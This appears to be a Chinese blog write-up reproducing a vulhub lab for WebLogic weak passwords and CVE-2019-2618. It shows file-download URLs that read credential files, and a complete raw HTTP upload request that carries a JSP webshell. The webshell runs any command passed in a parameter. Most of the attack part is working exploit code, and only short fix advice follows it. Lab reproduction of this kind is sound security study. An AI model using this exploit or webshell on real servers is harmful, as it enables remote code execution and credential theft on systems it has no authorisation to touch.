[vulhub]Weblogic weak_password+任意文件上传(CVE-2019-2618)

0>本文复现的是vulhub里weblogic的weak_password,由构造的任意文件下载漏洞环境读取到后台用户名和密码,然后登陆进后台,上传webshell。

而CVE-2019-2618任意文件上传漏洞本来也就是要知道获取用户名和密码,而且weblogic的DeploymentService接口的正常功能本来就可以部署war包,所以与weak_password后半部分的登陆进后台,再上传文件有很大相似之处。
故两者一起分析

CVE-2019-2618

漏洞简介

CVE-2019-2618漏洞主要是利用了WebLogic组件中的DeploymentService接口,该接口支持向服务器上传任意文件。攻击者突破了OAM(Oracle Access Management)认证,设置wl_request_type参数为app_upload,构造文件上传格式的POST请求包,上传jsp木马文件,进而可以获得整个服务器的权限。

影响版本

WebLogic 10.3.6.0、12.1.3.0、12.2.1.3

漏洞复现

获取用户名密码

weblogic常用弱口令
访问http://ip:7001/hello/file.jsp?path=/etc/passwd,下载到passwd文件,确认存在任意文件下载。
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.datconfig.xml,在本环境为./security/SerializedSystemIni.dat./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)

SerializedSystemIni.dat是一个二进制文件,所以一定要用burpsuite来读取,用浏览器直接下载可能引入一些干扰字符。在burp里选中读取到的那一串乱码,右键copy to file就可以保存成一个文件:
访问http://ip:7001/hello/file.jsp?path=security/SerializedSystemIni.dat,下载文件
在这里插入图片描述
访问http://ip:7001/hello/file.jsp?path=config/config.xml,下载到config.xml文件,其中的<node-manager-password-encrypted>的值,即为加密后的管理员密码
在这里插入图片描述
解密:
在这里插入图片描述

后台上传webshell

用户名:weblogic
密码:Oracle@123
登陆后台
emmm…鉴于这里加载太慢了一直,后面上传webshell的步骤就不按vulhub上的了,直接利用CVE-2019-2618上传

访问http://ip:7001/bea_wls_deployment_internal/DeploymentService:抓包改包
poc如下:

POST /bea_wls_deployment_internal/DeploymentService HTTP/1.1
Host: your-ip:7001
Connection: close
Accept-Encoding: gzip, deflate
Accept: */*
User-Agent: python-requests/2.21.0
username: weblogic
wl_request_type: app_upload
cache-control: no-cache
wl_upload_application_name: /../tmp/_WL_internal/bea_wls_internal/9j4dqk/war
serverName: AdminServer
password: Oracle@123
content-type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
archive: true
server_version: 10.3.6.0
wl_upload_delta: true
Content-Length: 1081
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="shell2.jsp"; filename="shell2.jsp"
Content-Type: false

<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
    out.println("Command: " + request.getParameter("cmd") + "<BR>");
    Process p;
    if ( System.getProperty("os.name").toLowerCase().indexOf("windows") != -1){
        p = Runtime.getRuntime().exec("cmd.exe /C " + request.getParameter("cmd"));
    }
 else{
        p = Runtime.getRuntime().exec(request.getParameter("cmd"));
    }
    OutputStream os = p.getOutputStream();
    InputStream in = p.getInputStream();
    DataInputStream dis = new DataInputStream(in);
    String disr = dis.readLine();
    while ( disr != null ) {
    out.println(disr);
    disr = dis.readLine();
    }
}
%>
</pre>
</BODY></HTML> 

------WebKitFormBoundary7MA4YWxkTrZu0gW--

返回包:返回了路径
在这里插入图片描述
访问http://your-ip:7001/bea_wls_deployment_internal/shell2.jsp,执行成功。
在这里插入图片描述
漏洞成因主要还是wl_upload_application_name过滤不严格

修复建议

1.登录授权后访问;
2.上传文件类型进行验证,前后端
3.重命名文件
4.MIME类型检测
5.限制上传文件的大小
6.限制上传的路径
7.限制上传路径的执行权限
8.不要回显上传文件的路径

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值